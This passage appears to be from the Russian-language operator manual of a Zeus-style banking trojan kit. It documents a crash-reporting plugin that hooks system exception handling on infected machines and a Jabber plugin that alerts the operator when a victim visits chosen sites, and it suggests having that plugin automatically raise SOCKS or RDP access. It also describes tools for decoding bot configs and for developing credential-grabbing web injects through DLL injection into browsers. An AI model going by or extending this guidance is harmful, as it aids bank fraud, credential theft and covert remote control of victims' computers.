Естественно, в следующих версиях плагинах эти проблемы будут решены. Ну а сейчас (учитывая исключения, описанные выше), плагин замечательно работает на всех x86 ОС начиная с XP, включая ОС Vista+, со включённым UAC'ом.
Configuration : Client : Plugins : bugreport
* Внимание! Лицам, не имеющим опыт работы с отладчиком, этот плагин противопоказан.
Если на машине бота случается нечто вроде крэша типа:
То, бот, с помощью этого плагина может отправить техническую информацию о причине этого крэша
Плагин хукает ntdll!KiUserExceptionDispatcher() и, если возникнет одно из сделедующих исключений:
- EXCEPTION_ACCESS_VIOLATION
- EXCEPTION_IN_PAGE_ERROR
- EXCEPTION_STACK_OVERFLOW
- EXCEPTION_FLT_DIVIDE_BY_ZERO
- EXCEPTION_INT_DIVIDE_BY_ZERO
- EXCEPTION_EXECUTE_FAULT
- EXCEPTION_ILLEGAL_INSTRUCTION
- EXCEPTION_READ_FAULT
- EXCEPTION_WRITE_FAULT
... то, плагин может отправить подробную информацию об ошибке (включая дизасм кода, где произошло исключение ... регистры, стэк и прочее) и о системе в коллектор. В свою очередь, в админке формграббера, можно включить отображение пункта меню BUGS и искать различные исключения:
С помощью этого плагина можно выявлять проблемы, происходящие на PC холдера. То есть это нечто, частично заменяющее полноценный JIT-отладчик.
Конфиг плагина имеет некоторые параметры (могут присудствовать в конфиге как ключевые слова).
- autostart — в этом случае, плагин не требуется включать из главной админки.
- silent — в этом случае, поток, вызвавший исключение, переходит в спящее состояние.
- dont — в этом случае, плагин не отправляет отчёты об исключения в коллектор.
- slowly_uninstall — в этом случае плагин не снимает хуки при uninstall't бота (этот режим может использоваться для того, чтобы словить крэшбаги во время сноса и инсталла бота).
Configuration : Client : Plugins : jabbernotifier
Плагин может использоваться для оповещения о заходе холдера на тот или иной линк через jabber.
P.S.:
Плагин opensource'ный, поэтому его функционал можно расширить. Например, сделать так, чтобы при заходе на определённый линк, у холдера сразу же поднимался SOCKS или RDP плагин.
entry "JabberNotifier"
%URL_MASK% %FLAGS% %POST_MASK%
end
- URL_MASK — url маска, определяющая нужно ли отправлять message (URL, куда проследовал холдер).
- FLAGS — поддерживаются флаги G, P, соответствующие тому или иному методу запроса.
- POST_MASK — в случае, если используется флаг P, то можно использовать маску для данных этого POST-запроса.
Настройки относительно того откуда и куда отправлять message, указываются в настройках главной админки (раздел jabber_notifier).
* Примечание. Плагин не требует включения со стороны админки.
Configuration : Client : Tools : uninstaller.exe
Эта тулза необходима, чтобы снести бота из системы (например, в случае, если вы тестируете работу бота и хотите быстро обновить его конфиг, просто снеся его и запустив бота с новым конфигом ... или просто, хотите излечить систему от случайного заражения ботом). Для её работы необходим файл settings.ini (продуцируется билдером). Тулза читает оттуда имя mutex'а бота и имя exe'шника бота. На основе имени mutex'а, тулза генерирует имя mutex'а, необходимого для сноса бота из системы, и, собственно, создаёт его. Спустя некоторое время, тулза удаляет файлы бота. Существует несколько сообщений, которых может выдавать эта тулза:
- "There are nothing to clean" — означает, что uninstaller не может обнаружить бота в системе (вероятно, бот не был запущен).
- "Your system is clean now" — означает, что uninstaller обнаружил бота и успешно снёс его.
- "Cannot cure your system" — означает, что uninstaller обнаружил бота но не снёс его (вероятно, не удалось удалить файлы бота, и, вероятно, из-за того, что в settings.ini неверно указано имя файла бота.
Configuration : Client : Tools : configdecoder.exe
Эта тулза нужна, чтобы посмотреть содержимое config.bin (Например, в случае, если нужно убедиться в наличии или отсутствии того или иного плагина/вебинжекта/пр. в конфиге бота). Естественно, для того, чтобы вскрыть конфиг, нужен enc. key, записанный в settings.ini (продуцируется билдером). Если enc. key правильный, то тузла создаст папку !config.bin и поместит туда содержимое config.bin
Configuration : Client : Tools : WebInjectesDev
WebInjectesDev представляет собой набор средств для разработки и тестирования инжектов. Состоит из:
- userDefineLang.xml — подсветка синтаксиса для текстового редактора Notepad++. Чтобы добавить подсветку синтаксиса Zeus'овских инжектов, необходимо скопировать файл userDefineLang.xml в папку "%APPDATA%\Notepad++\".
- ffhookdll.dll — эту dll можно добавить прямо в таблицу импорта браузера Mozilla Firefox. Например, с помощью программы типа CFF Explorer. Кроме этого, можно использовать программу Remote DLL (для внедрения ffhookdll.dll напрямую в адресное пространство процесса), если нет возможности редактировать исполняемый файл FF.
- iehookdll.dll — всилу особенностей браузера IE, эту dll можно внедрять только с помощью программы типа Remote DLL.
Итак. Вы размещаете свои вебинжекты в файле "C:\webinjects.txt", и внедряете dll в соответствующий браузер. После чего ежесекундно, код, внедрённый в браузер, поверяет файл вебинжектов на наличие изменений. Если изменения есть, то инжекты загружаются в браузер. Такой подход позволяет сэкономить время от внесения изменений в файл вебинжектов до отображения их в браузере. Т.е. чтобы тестировать или писать вебинжекты, не нужно иметь запущенного бота в системе. Доста??очно просто использовать dll'ки в комплекте WebInjectesDev.
Чтобы убедиться в правильной работы инжектов-грабберов, можно использовать программу DebugView. Внедрённый в браузеры код отсылает туда результат работы грабящих инжектов.
Выглядит это примерно так (справа редактор файла инжектов, слева FF с внедрённой ffhookdll.dll):